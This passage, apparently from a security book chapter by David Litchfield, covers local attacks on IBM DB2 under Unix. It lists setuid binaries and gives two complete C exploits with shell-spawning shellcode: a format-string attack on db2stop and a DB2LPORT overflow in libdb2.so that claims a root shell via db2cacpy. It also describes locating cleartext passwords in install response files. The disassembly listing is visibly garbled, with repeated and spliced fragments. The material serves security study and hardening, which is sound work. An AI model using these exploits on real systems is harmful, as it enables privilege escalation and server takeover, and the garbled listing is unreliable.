Local attacks against DB2 are generally leveled at DB2 running on *nix platforms, though there are some that are effective against the Windows operating system. As far as *nix platforms are concerned the attacks usually relate to DB2 binaries with the setuid bit set. The setuid bit lets the OS know that the binary should execute with the privileges of the owner and not the user executing the binary. This is necessary, for example, to call certain functions or perform certain tasks . For example, to open a TCP port below 1024 on *nix platforms, the process must be running as root; or if the chroot() function is called, then this again must be performed as root. A number of the DB2 binaries have the setuid bit set:
/home/db2inst1/sqllib/adm/ -r-s--x--x 1 db2inst1 db2grp1 144311 Aug 27 15:27 db2audit -r-s--x--x 1 root db2grp1 70669 Aug 27 15:27 db2cacpy -r-sr-s--x 1 db2inst1 db2grp1 981127 Aug 27 15:27 db2dart -r-sr-xr-x 1 root db2grp1 61523 Aug 27 15:27 db2dasstml -r-sr-s--x 1 root db2grp1 80859 Aug 27 15:27 db2fmp -r-sr-s--x 1 root db2grp1 76725 Aug 27 15:27 db2fmpterm -r-s--x--x 1 root db2grp1 106405 Aug 27 15:27 db2genp -r-sr-s--x 1 db2inst1 db2grp1 143104 Aug 27 15:27 db2govd -r-sr-s--- 1 db2inst1 db2grp1 86355 Aug 27 15:27 db2inidb -r-sr-x--x 1 root db2grp1 186075 Aug 27 15:27 db2licd -r-sr-x--- 1 root db2grp1 32692 Aug 27 15:27 db2licm -r-sr-s--x 1 db2inst1 db2grp1 70024 Aug 27 15:27 db2path -r-sr-s--- 1 root db2grp1 105653 Aug 27 15:27 db2remot -r-sr-s--- 1 db2inst1 db2grp1 81929 Aug 27 15:27 db2rfpen -r-sr-s--x 1 db2inst1 db2grp1 83637 Aug 27 15:27 db2star2 -r-sr-s--x 1 root db2grp1 38495 Aug 27 15:27 db2start -r-sr-s--x 1 root db2grp1 85260 Aug 27 15:27 db2stop -r-sr-s--x 1 db2inst1 db2grp1 59557 Aug 27 15:27 db2stop2 -r-sr-s--x 1 db2inst1 db2grp1 80270 Aug 27 15:27 db2stst -r-sr-s--- 1 db2inst1 db2grp1 62091 Aug 27 15:27 db2svc -r-sr-s--- 1 root db2grp1 83565 Aug 27 15:27 db2sysc -r-sr-s--x 1 db2inst1 db2grp1 1116250 Aug 27 15:27 db2trc /home/dasusr1/das/adm -r-sr-xr-x 1 root dasadm1 79035 Aug 25 07:56 dasauto -r-sr-xr-x 1 root dasadm1 78240 Aug 25 07:56 db2dascln -r-sr-xr-x 1 root dasadm1 1029273 Aug 25 07:56 db2dasrrm -r-sr-xr-x 1 root dasadm1 74589 Aug 25 07:56 db2dassec -r-sr-xr-x 1 root dasadm1 145430 Aug 25 07:56 db2dasstml
If a vulnerability exists in a binary with the setuid bit set, an attacker may be able to exploit this to gain elevated privileges. Note the use of the word "may" here. Just because a binary is setuid and it has a vulnerability, this does not automatically mean that it can be used to gain privileges. Let's discuss an example of this.
In 2003, Snosoft released an advisory on a couple of buffer overflow problems and format string flaws in the db2start, db2stop, and db2govd binaries; they are setuid root. The Snosoft advisory marks this as a high risk, implying that this can be abused to gain root privileges. This is not true. Before the vulnerability is triggered, the process calls setuid(getuid()) setting the security token to that of the user that executes the binary. This means that any "arbitrary code" supplied by the attacker will execute with the privileges of the userand not the root user. Here's some code to demonstrate this. It uses one of the format string vulnerabilities in the db2stop binary:
/* Proof of concept for the db2stop format string vulnerability in DB2 v 8.1 (no fixpaks) Developed on SuSE Linux 8.2
Here's the vulnerable codean unsafe call to printf():
0x804a3e2 <main+3826>: lea 0xfffffdd8(%ebp),%eax 0x804a3e8 <main+3832>: push %eax 0x804a3e9 <main+3833>: call 0x80492a0 <printf> 0x804a3ee <main+3838>: add0x804a3e2 <main+3826>: lea 0xfffffdd8(%ebp),%eax 0x804a3e8 <main+3832>: push %eax 0x804a3e9 <main+3833>: call 0x80492a0 <printf> 0x804a3ee <main+3838>: add $0x18,%esp 0x804a3f1 <main+3841>: test %bl,%bl 0x804a3f3 <main+3843>: je 0x804a40f <main+3871> 0x804a40f <main+3871>: xor %edx,%edx 0x804a411 <main+3873>: mov $0x1,%eax 0x804a416 <main+3878>: lea 0xffffeab0(%ebp),%ecx 0x804a41c <main+3884>: mov %edx,0xffffeab0(%ebp) 0x804a422 <main+3890>: lea 0xffffeac0(%ebp),%ebx 0x804a428 <main+3896>: push %ebx 0x804a429 <main+3897>: push %ecx 0x804a42a <main+3898>: push %edx 0x804a42b <main+3899>: push %eax 0x804a42c <main+3900>: push $0x80000000 0x804a431 <main+3905>: pushl 0xffffeacc(%ebp) 0x804a437 <main+3911>: push %eax 0x804a438 <main+3912>: call 0x8049170 <_Z18sqlex_aud_rec_funccmmsP16SQLEX_AUD_DATA_TPmP5sqlca> 0x804a43d <main+3917>: add $0x1c,%espx18,%esp 0x804a3f1 <main+3841>: test %bl,%bl 0x804a3f3 <main+3843>: je 0x804a40f <main+3871> 0x804a40f <main+3871>: xor %edx,%edx 0x804a411 <main+3873>: mov0x804a3e2 <main+3826>: lea 0xfffffdd8(%ebp),%eax 0x804a3e8 <main+3832>: push %eax 0x804a3e9 <main+3833>: call 0x80492a0 <printf> 0x804a3ee <main+3838>: add $0x18,%esp 0x804a3f1 <main+3841>: test %bl,%bl 0x804a3f3 <main+3843>: je 0x804a40f <main+3871> 0x804a40f <main+3871>: xor %edx,%edx 0x804a411 <main+3873>: mov $0x1,%eax 0x804a416 <main+3878>: lea 0xffffeab0(%ebp),%ecx 0x804a41c <main+3884>: mov %edx,0xffffeab0(%ebp) 0x804a422 <main+3890>: lea 0xffffeac0(%ebp),%ebx 0x804a428 <main+3896>: push %ebx 0x804a429 <main+3897>: push %ecx 0x804a42a <main+3898>: push %edx 0x804a42b <main+3899>: push %eax 0x804a42c <main+3900>: push $0x80000000 0x804a431 <main+3905>: pushl 0xffffeacc(%ebp) 0x804a437 <main+3911>: push %eax 0x804a438 <main+3912>: call 0x8049170 <_Z18sqlex_aud_rec_funccmmsP16SQLEX_AUD_DATA_TPmP5sqlca> 0x804a43d <main+3917>: add $0x1c,%espx1,%eax 0x804a416 <main+3878>: lea 0xffffeab0(%ebp),%ecx 0x804a41c <main+3884>: mov %edx,0xffffeab0(%ebp) 0x804a422 <main+3890>: lea 0xffffeac0(%ebp),%ebx 0x804a428 <main+3896>: push %ebx 0x804a429 <main+3897>: push %ecx 0x804a42a <main+3898>: push %edx 0x804a42b <main+3899>: push %eax 0x804a42c <main+3900>: push0x804a3e2 <main+3826>: lea 0xfffffdd8(%ebp),%eax 0x804a3e8 <main+3832>: push %eax 0x804a3e9 <main+3833>: call 0x80492a0 <printf> 0x804a3ee <main+3838>: add $0x18,%esp 0x804a3f1 <main+3841>: test %bl,%bl 0x804a3f3 <main+3843>: je 0x804a40f <main+3871> 0x804a40f <main+3871>: xor %edx,%edx 0x804a411 <main+3873>: mov $0x1,%eax 0x804a416 <main+3878>: lea 0xffffeab0(%ebp),%ecx 0x804a41c <main+3884>: mov %edx,0xffffeab0(%ebp) 0x804a422 <main+3890>: lea 0xffffeac0(%ebp),%ebx 0x804a428 <main+3896>: push %ebx 0x804a429 <main+3897>: push %ecx 0x804a42a <main+3898>: push %edx 0x804a42b <main+3899>: push %eax 0x804a42c <main+3900>: push $0x80000000 0x804a431 <main+3905>: pushl 0xffffeacc(%ebp) 0x804a437 <main+3911>: push %eax 0x804a438 <main+3912>: call 0x8049170 <_Z18sqlex_aud_rec_funccmmsP16SQLEX_AUD_DATA_TPmP5sqlca> 0x804a43d <main+3917>: add $0x1c,%espx80000000 0x804a431 <main+3905>: pushl 0xffffeacc(%ebp) 0x804a437 <main+3911>: push %eax 0x804a438 <main+3912>: call 0x8049170 <_Z18sqlex_aud_rec_funccmmsP16SQLEX_AUD_DATA_TPmP5sqlca> 0x804a43d <main+3917>: add0x804a3e2 <main+3826>: lea 0xfffffdd8(%ebp),%eax 0x804a3e8 <main+3832>: push %eax 0x804a3e9 <main+3833>: call 0x80492a0 <printf> 0x804a3ee <main+3838>: add $0x18,%esp 0x804a3f1 <main+3841>: test %bl,%bl 0x804a3f3 <main+3843>: je 0x804a40f <main+3871> 0x804a40f <main+3871>: xor %edx,%edx 0x804a411 <main+3873>: mov $0x1,%eax 0x804a416 <main+3878>: lea 0xffffeab0(%ebp),%ecx 0x804a41c <main+3884>: mov %edx,0xffffeab0(%ebp) 0x804a422 <main+3890>: lea 0xffffeac0(%ebp),%ebx 0x804a428 <main+3896>: push %ebx 0x804a429 <main+3897>: push %ecx 0x804a42a <main+3898>: push %edx 0x804a42b <main+3899>: push %eax 0x804a42c <main+3900>: push $0x80000000 0x804a431 <main+3905>: pushl 0xffffeacc(%ebp) 0x804a437 <main+3911>: push %eax 0x804a438 <main+3912>: call 0x8049170 <_Z18sqlex_aud_rec_funccmmsP16SQLEX_AUD_DATA_TPmP5sqlca> 0x804a43d <main+3917>: add $0x1c,%espx1c,%esp
As you can see from the disassembly, the Z18sqlex_aud_rec_funccmmsP16SQLEX_AUD_DATA_TPmP5sqlca() function is called immediately after the printf() call. This exploit overwrites the pointer to this function in the Global Offset Table.
objdump -R /home/db2inst3/sqllib/adm/db2stop grep Z18sqlex_aud_rec_funccmmsP16SQLEX_AUD_DATA_TPmP5sqlca 08055dcc R_386_JUMP_SLOT Z18sqlex_aud_rec_funccmmsP16SQLEX_AUD_DATA_TPmP5sqlca
As you can see from the output of objdump, the location of this pointer is at 0x08055DCC.
We'll use the %hn specifier twice to write a pointer to our shellcode at this address.
#include <stdio.h> unsigned short GetAddress(char *address, int lvl); unsigned char shellcode[]="\x31\xC0\x31\xDB\xb0\x17\x90\xCD\x80\x6A\x0B\ x58\x99\x52\x68\x6E\x2F\x73\x68\x68\x2F\x2F\x62\x69\x54\x5B\x52\x53\x54\ x59\xCD\x80\xCC\xCC\xCC\xCC"; int main(int argc, char *argv[], char *envp[]) { char *cmd[4]; char cmdbuf[260]=""; char argone[4000]=""; char argtwo[4000]=""; char address[200]=""; int count = 0; unsigned short high = 0, low = 0; if(argc != 3) { printf("\n\tProof of concept for the db2stop format string bug.\n"); printf("\n\tUsage:\n\n\t$%s /path/to/db2stop address",argv[0]); printf("\n\n\twhere /path/to/db2stop is the path to the binary\n"); printf("\twhere address is the location the shellcode is likely to be found - usually around 0xBFFFFnnn"); printf("\n\n\te.g.\n\n\t$%s /home/db2inst1/sqllib/adm/db2stop BFFFF445",argv[0]); printf("\n\n\tNotes: As db2stop does a setuid(getuid(0)) we can't retrieve root.\n"); printf("\tThis exploit simply spawns a shell as the user running it.\n"); printf("\tIt works by overwriting the entry for a function in the Global Offset Table\n"); printf("\tthat's called immediately after the vulnerable printf() call.\n"); printf("\n\n\tDavid Litchfield\n\t25th August 2004\n\t(davidl@ngssoftware.com)\n\n"); return 0; } strncpy(cmdbuf,argv[1],256); strncpy(address,argv[2],196); // Get the location of where the second arg will be found // 0xBFFFF445 works on my SuSE 8.1 box high = GetAddress(address,0); low = GetAddress(address,4); if(high == 0 low == 0) return printf("Invalid address specified: %s\n",address); high = high - 35; low = low - high - 35; // Set the format string. Overwrite the entry in the Global Offset Table for // Z18sqlex_aud_rec_funccmmsP16SQLEX_AUD_DATA_TPmP5sqlca() sprintf(argone,"QQ\xCE\x5D\x05\x08\xCC\x5D\x05\x08ZZZDDDDEEE%%%.5dx%%20$hn%%%.5dx%%21$hn",high,low); // create a nop sled while(count < 22) { strcat(argtwo,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"); count ++; } // append the shellcode strcat(argtwo,shellcode); // set params for execve cmd[0] = (char *) &cmdbuf; cmd[1] = (char *)&argone; cmd[2] = (char *)&argtwo; cmd[3] = (char *)NULL; // execute db2stop execve(cmd[0],cmd,envp); return 0; } unsigned short GetAddress(char *address, int lvl) { char A = 0, B = 0, C = 0, D = 0; unsigned short result = 0; int len = 0; len = strlen(address); if(len !=8) return 0; if(lvl) if(lvl !=4) return 0; A = (char)toupper((int)address[0+lvl]); B = (char)toupper((int)address[1+lvl]); C = (char)toupper((int)address[2+lvl]); D = (char)toupper((int)address[3+lvl]); if(A < 0x30) return 0; if(A < 0x40) A = A - 0x30; else { if(A > 0x46 A < 41) return 0; else A = A - 0x37; } if(B < 0x30) return 0; if(B < 0x40) B = B - 0x30; else { if(B > 0x46 B < 41) return 0; else B = B - 0x37; } if(C < 0x30) return 0; if(C < 0x40) C = C - 0x30; else { if(C > 0x46 C < 41) return 0; else C = C - 0x37; } if(D < 0x30) return 0; if(D < 0x40) D = D - 0x30; else { if(D > 0x46 D < 41) return 0; else D = D - 0x37; } result = (A * 0x10 + B) << 8; result = result + (C * 0x10 + D); return result; }
There are, however, setuid binaries that are vulnerable to buffer overflows, that don't drop privileges, and can be exploited by attackers to gain control of the server. The most interesting example is a buffer overflow in a shared object. Ninety percent of the DB2 binaries load this shared object and are therefore vectors for exploiting this overflow. Needless to say, the binaries of interest are those that are setuid or setgid and don't drop privileges. Before presenting some code, let's discuss how this vulnerability creeps in. The problem stems from an overly long value for the DB2LPORT environment variable. The /opt/IBM/db2/V8.1/lib/libdb2.so.1 shared object has a buffer for the value of the DB2LPORT environment variable in the .bss ( uninitialized data) section. This buffer is overflowed. This, in and of itself, doesn't present too much of a problem at this stage. However, when the sqloInstancePath() function (exported by /opt/IBM/db2/V8.1/lib/libdb2.so.1) is called, and it is called by all binaries that load this library, the DB2LPORT value is copied to a stack-based buffer, which is overflowed. It is at this point that the attackers can gain control because they control the saved return address and can redirect the flow of execution into the user-supplied buffer. The proof of concept code here demonstrates this:
#include <stdio.h> unsigned char GetAddress(char *address, int lvl); unsigned char shellcode[]= "\x31\xC0\x31\xDB\xB0\x17\x90\xCD\x80\x6A\x0B\x58\x99\x52\x68\x6E" "\x2F\x73\x68\x68\x2F\x2F\x62\x69\x54\x5B\x52\x53\x54\x59\xCD\x80" "\xCC\xCC\xCC\xCC"; int main(int argc, char *argv[]) { unsigned char buffer[2000]=""; unsigned char X = 0x61, cnt = 0; int count = 0; if(argc != 2) { printf("\n\n\tExploit for the libdb2.so overflow\n\n\t"); printf("Gets a rootshell via db2cacpy\n\n\tUsage:\n\n\t"); printf("$ DB2INSTANCE=db2inst1; export DB2INSTANCE\n\t"); printf("$ DB2LPORT=`%s address` ; export DB2LPORT\n\t$ db2cacpy\n\t",argv[0]); printf("sh-2.05b# id\n\tuid=0(root) gid=100(users) groups=100(users)\n\n\t"); printf("\n\n\taddress is the address of the db2MLNPort_name symbol in\n\t"); printf("the .bss section of libdb2.so. Here are some example addresses:\n\n\t"); printf("\tSuSE 8.2\tDB2 8.1 Fixpak 6\t40E06680\n\t"); printf("\tRedhat 9\tDB2 8.1 Fixpak 6\t40E124A8\n\t"); printf("\tRedhat 9\tDB2 8.1 Fixpak 0\t40E075A8\n\n\t"); printf("Use obdump to get the offset for your system:\n\n\t"); printf("$ objdump -t /opt/IBM/db2/V8.1/lib/libdb2.so grep db2MLNPort_name\n\t"); printf("00df05a0 g\tO\t.bss\t000000ff\tdb2MLNPort_name\n\n\t"); printf("This address is then added to the base address of libdb2.so\n\t"); printf("to give the actual address.\n\n\t"); printf("David Litchfield\n\t27th August 2004\n\t(davidl@ngssoftware.com)\n\n"); return 0; } while(count < 500) buffer[count++]=0x90; strcat(buffer,"\x90"); strcat(buffer,shellcode); count = count + 37; while(count < 1480) { if(count == 1144) { // This is the location of db2MLNPort_name in the .data section // of libdb2.so on my SuSE Linux DB2 8.1 Fixpak 6 system. // If this exploit doesn't work then you'll need to get // the offset for your system. // 0x40e06680 on SuSE 8.1 fixpak 6 // 0x40e124a8 on Redhat 8.1 no fixpaks // 0x40e075a8 on Redhat 8.1 fixpak 6 //buffer[count++]=0xa8; //buffer[count++]=0x75; //buffer[count++]=0xe0; //buffer[count++]=0x40; /*buffer[count++]=0xa8; buffer[count++]=0x24; buffer[count++]=0xe1; buffer[count++]=0x40;*/ buffer[count++]=GetAddress(argv[1],6); buffer[count++]=GetAddress(argv[1],4); buffer[count++]=GetAddress(argv[1],2); buffer[count++]=GetAddress(argv[1],0); } else buffer[count++]=0xCC; } printf("%s",buffer); return 0; } unsigned char GetAddress(char *address, int lvl) { char A = 0, B = 0; int len = 0; len = strlen(address); if(len !=8) return 0; if(lvl) if(lvl ==2 lvl ==4 lvl ==6 ) goto cont; else return 0; cont: A = (char)toupper((int)address[0+lvl]); B = (char)toupper((int)address[1+lvl]); if(A < 0x30) return 0; if(A < 0x40) A = A - 0x30; else { if(A > 0x46 A < 41) return 0; else A = A - 0x37; } if(B < 0x30) return 0; if(B < 0x40) B = B - 0x30; else { if(B > 0x46 B < 41) return 0; else B = B - 0x37; } A = (A * 0x10 + B); return A; }
Other overflows affect DB2 locally. For example, the db2fmp binary is vulnerable to an overflow with an overly long command-line parameter.
To close this section one final note. When DB2 is installed the user installing it is offered the chance to save a response file. This file contains a log of what occurs during the install. If the user chooses to use a response file, then the password of the db2 user is logged. By searching the filesystem for this file, it might be possible to gain access to the clear text password of the db2 user. Needless to say, this file should be deleted to help secure the DB2 installation.